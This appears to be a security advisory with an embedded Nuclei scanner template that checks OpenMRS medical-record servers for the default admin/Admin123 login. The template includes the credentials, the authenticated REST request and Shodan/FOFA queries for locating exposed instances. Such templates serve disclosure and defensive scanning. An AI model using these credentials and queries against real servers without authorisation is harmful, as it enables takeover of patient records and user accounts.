OpenMRS sets the password of the built-in super user admin to Admin123 during the simple installation and in the official Docker images when no other password is configured. An attacker who logs in with these credentials gets System Developer privileges and can read and change patient records, encounters and observations, manage users and roles, and install modules.
Details
Severity
高危
Published
PoC
Public
PoC
id: openmrs-default-login
info:
name: OpenMRS - Default Login
author: s4e-io
severity: high
description: |
OpenMRS sets the password of the built-in super user admin to Admin123 during the simple installation and in the official Docker images when no other password is configured. An attacker who logs in with these credentials gets System Developer privileges and can read and change patient records, encounters and observations, manage users and roles, and install modules.
reference:
- https://github.com/openmrs/openmrs-core/blob/2.8.10/web/src/main/java/org/openmrs/web/filter/initialization/InitializationWizardModel.java
- https://github.com/openmrs/openmrs-core/blob/2.8.10/startup-init.sh
- https://rest.openmrs.org/#authentication
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
cpe: cpe:2.3:a:openmrs:openmrs:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
vendor: openmrs
product: openmrs
shodan-query: http.html:"OpenMRS"
fofa-query: body="OpenMRS"
tags: openmrs,emr,healthcare,default-login
variables:
username: "admin"
password: "Admin123"
http:
- raw:
- |
GET /openmrs/ws/rest/v1/session HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization: Basic {{base64(username + ':' + password)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "\"authenticated\":true", "\"systemId\":\"admin\"")'
condition: and
# digest: 4a0a00473045022100a2eff51da679673ffbb5f9a07ff0f1878b247db16ace739c5d58c9790e505e5802203543ca3310202732756427abe1b54dca4495cec67b0dc64e2aea0ad46de5669a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.